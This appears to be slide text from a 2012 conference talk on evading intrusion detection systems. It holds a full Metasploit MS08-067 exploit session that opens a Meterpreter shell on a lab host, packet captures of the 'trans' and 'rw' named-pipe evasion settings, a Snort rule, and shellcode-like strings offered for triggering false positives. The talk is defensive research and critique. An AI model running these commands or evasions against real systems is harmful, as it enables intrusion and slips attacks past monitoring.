

# Introducing **Weakness** Into Security Devices

tuning to a different key



# Introducing **Weakness** Into Security Devices

tuning to a different key



# 3 Things I Want To Share

A very simple agenda!

# ONE – Obtaining Samples

diversity is overwhelmingly critical

## TWO – Knowledge Is Key

functional understanding is critical

# THREE – Implementation Is Critical

when is it NOT!

Arron “finux” Finnon

researcher, podcaster, father & troll

# Disclaimer

expect mild technical talk

expect some ranting

expect some vendor bashing

expect me to be angry at some things

expect bad language

expect some lulz



# Evasion **Techniques**

hacking, has a fetish for every pervert

# From The **Threat** To Exploitation

its why we're in business

# MS08-067 Vulnerability

WTF! Not AGAIN!

# A Different **View** Point

this exploit still giving its all to conferences

# Metasploit Framework

the tool of champions

```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.206.132
RHOST => 192.168.206.132
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.206.132
[*] Meterpreter session 1 opened (192.168.206.1:60766 -> 192.168.206.132:4444) at 2012-01-21 11:22:19 +0000

meterpreter > sysinfo
Computer      : ARRON-CF9905F7D
OS            : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter   : x86/win32
```

# Security Devices

okay its IDS/IPses today

## RANT WARNING

"IPS. Really?? I thought that was proven to be death"



Could Say The **Same** About BoF

yet we keep on fucking both of them up

# The **Common** Intrusion Detection Framework

E-Boxes

A-Boxes

C-Boxes

D-Boxes

Events, Analysers, Countermeasures, Data/Storage

# To React or **Not** To React

events need to be understood

Taking **Something** At Face Value  
leaves a lack of understating

# So My Story

finux has a tale or two

# Meanwhile In **Scotland**



serious research begins

# Show **Evasions**

DCERPC::smbpipeio

# Documentation Time

"DCERPC::smb\_pipeio

Use a different delivery method  
for accessing named pipes"



That's All **Documentation** Covered

Seriously, that's all the documentation

"The "trans" option will use a NTTransact command on the named pipe to deliver a request and trigger a reply from the server. During the development process, I noticed that just sending a "read" request after stuffing the request down via plain named pipe writes would also trigger processing."

HD to Finux – 08/08/11

set DCERPC::smbpipeio rw

21	2.676977	192.168.1.103	192.168.1.115	SMB	Write AndX Request, FID: 0x4000, 137 bytes at offset 1
22	2.677860	192.168.1.115	192.168.1.103	SMB	Write AndX Response, FID: 0x4000, 137 bytes
23	2.682183	192.168.1.103	192.168.1.115	SMB	Write AndX Request, FID: 0x4000, 92 bytes at offset 34
24	2.682353	192.168.1.115	192.168.1.103	SMB	Write AndX Response, FID: 0x4000, 92 bytes
25	2.686774	192.168.1.103	192.168.1.115	DCERPC	Bind: call id: 0, 11 context items, 1st d0ffe292-bc7f-
26	2.687142	192.168.1.115	192.168.1.103	SMB	Write AndX Response, FID: 0x4000, 283 bytes
27	2.691101	192.168.1.103	192.168.1.115	SMB	Read AndX Request, FID: 0x4000, 226 bytes at offset 17
28	2.691692	192.168.1.115	192.168.1.103	SMB	Read AndX Response, FID: 0x4000, 226 bytes
29	2.696136	192.168.1.103	192.168.1.115	SMB	Read AndX Request, FID: 0x4000, 657 bytes at offset 10
30	2.696228	192.168.1.115	192.168.1.103	DCERPC	Bind ack: call id: 0 accept max xmit: 4280 max recv: 4

▼ SMB (Server Message Block Protocol)

- ▶ SMB Header
- ▶ Write AndX Request (0x2f)
- ▶ DCE RPC Bind, Fragment: Single, FragLen: 512, Call: 0

0060	ac 41 01 08 6c	TT	00 00 00 00 40 cb 03 00	.A..l.. ..@...
0070	00 ff ff ff ff	1b	01 00 00 1b 01 3f 00 00	.....?..
0080	00 00 00 1b 01	8a eb 1c c9 11 9f e8 08 00	.....]	
0090	2b 10 48 60 02 00 00 00	05 00 01 00 b2 2d ae 87	+..H` .....	
00a0	9d 91 73 d3 5e 1d 08 27	43 83 f8 67 02 00 02 00	..s.^.. C..g...	
00b0	04 5d 88 8a eb 1c c9 11	9f e8 08 00 2b 10 48 60	..]..... ..+.H`	
00c0	02 00 00 00 06 00 01 00	54 2f 22 12 2f eb 47 ef	T/" 2 G	

set DCERPC::smbpipeio trans

13	0.034039	192.168.1.103	192.168.1.115	SMB	Tree Connect AndX Request, Path: \\192.168.1.115\IPC\$
14	0.034270	192.168.1.115	192.168.1.103	SMB	Tree Connect AndX Response
15	0.040319	192.168.1.103	192.168.1.115	SMB	NT Create AndX Request, Path: \SPoolSS
16	0.040507	192.168.1.115	192.168.1.103	SMB	NT Create AndX Response, FID: 0x0000, Error: STATUS_0B
17	0.046348	192.168.1.103	192.168.1.115	SMB	NT Create AndX Request, FID: 0x4000, Path: \BROWSER
18	0.046672	192.168.1.115	192.168.1.103	SMB	NT Create AndX Response, FID: 0x4000
19	0.058953	192.168.1.103	192.168.1.115	DCERPC	Bind: call id: 0, 15 context items, 1st a632c94c-07db-
20	0.059969	192.168.1.115	192.168.1.103	DCERPC	Bind ack: call id: 0 accept max_xmit: 4280 max_rcv: 4
21	0.066830	192.168.1.103	192.168.1.115	SRVSVC	NetPathCanonicalize request
22	0.235584	192.168.1.115	192.168.1.103	TCP	microsoft-ds > 40951 [ACK] Seq=1320 Ack=2669 Win=63454

- ▶ NetBIOS Session Service
- ▶ SMB (Server Message Block Protocol)
- ▼ SMB Pipe Protocol

Function: TransactNmPipe (0x0026)

0080	00 02 00 26 00 00 40 b7	02 5c 50 49 50 45 5c 00	...&..@. .\PIPE\.
0090	05 00 0b 03 10 00 00	b0 02 00 00 00 00 00 00	.....
00a0	d0 16 d0 16 00 00 0f	00 00 00 00 00 01 00	.....
00b0	4c c9 32 a6 db 14	54 0d 99 db 79 3e 92 b8	L.2...}. T...y>..
00c0	00 00 01 00 04 8a	eb 1c c9 11 9f e8 08 00	.....]..

This Evasion Is **Enabled** By Default

lolwhat! you've been using IDS evasion

Not The Only Example in **MSF**

more exploits than you would imagine!

# Popularity Is **Social** Proof

because we all think its cool, its right!

# The Big **Gottcha** Here

trans is completely unreliable when I tested



# Only The **Evaded** Technique Works

yeah you read that right, none evaded fails!

# The **Real** Question Is!

what happens if IDS devs didn't know?

# The **Real** Question Is!

what happens if they only used MSF?

## Check Out Sourcefire's **VRT** Report

they clearly didn't know the difference between trans and rw. Not mentioned once in their ms08-067 backslapping report

# MS08-067 Via **Trans** Method

only generates a shellcode alert, brb =)

# However, Food For Thought

Evasion techniques turned on by default!

Call me old fashioned but shouldn't that be the users choice?

Lack of any decent documentation on evasions!

Makes me want to use TCP/IP to punch you in the face!

Unwillingness to error handle!

Pretending nothing is wrong is just wrong!

Will someone Think Of The Testers!

Its easy to see how this could be confusing on a budget

Oh and here's some zen for you!

Is it an evasion technique if its on by default?

Your Added **Bonus** !

...and one more thing" Moment!

# The **Dangers** of Character Matching

The Butthead Evasion Technique





Not To Be Taken **Seriously**

well, that's not strictly true

SID:1239 - RFPalyze

WTF, CVE-2000-0347 you serious bro!

```
alert tcp $EXTERNAL_NET any -> $HOME_NET  
139 (msg:"NETBIOS RFPParalyze Attempt";  
flow:to_server,established; content:"BEAVIS";  
content:"yep yep";)
```

If a TCP connection is on port 139, and you see the string "BEAVIS", and the following string; "yep, yep", please alert!!!!!!!



++



Evasions Starts With **One** Question

what if I.....



++



Arron "finux" Finnon

AthCon 4<sup>th</sup> May 2012



++



Arron "finux" Finnon

Just **One** More Thing!

false-positive abuse for the lulz





JAXP0A0AKAAQ2AB2BB0BBABXP8ABU

VTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8AC

VTX630VX4A0B6HH0B30BCVX2BDBH4A2AD0ADTBDQB0

YAZBABABABABkMAGB9U4JB

any IP traffic, any port will trigger a false-positive

# My Personal Favourites

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

# Conclusions Time

brace yourself

## This Is **Not** MSF's Fault!

its actually all of ours, we took shit for granted and didn't question anything

## Hey, Its Got To Be The **\$VENDORS** fault!

you wish! Until we take some ownership for our knowledge don't blame someone for trying it on.

## We're Drinking The **Same** Water

if we all drink from the same pond, then if it becomes poisoned we ALL get sick

That's **All** Folks!

This Will be That Q&A Time

# Contacting Finux

[finux@finux.co.uk](mailto:finux@finux.co.uk)

<http://www.finux.co.uk>

<http://www.twitter.com/finux>

<http://uk.linkedin.com/in/finnon>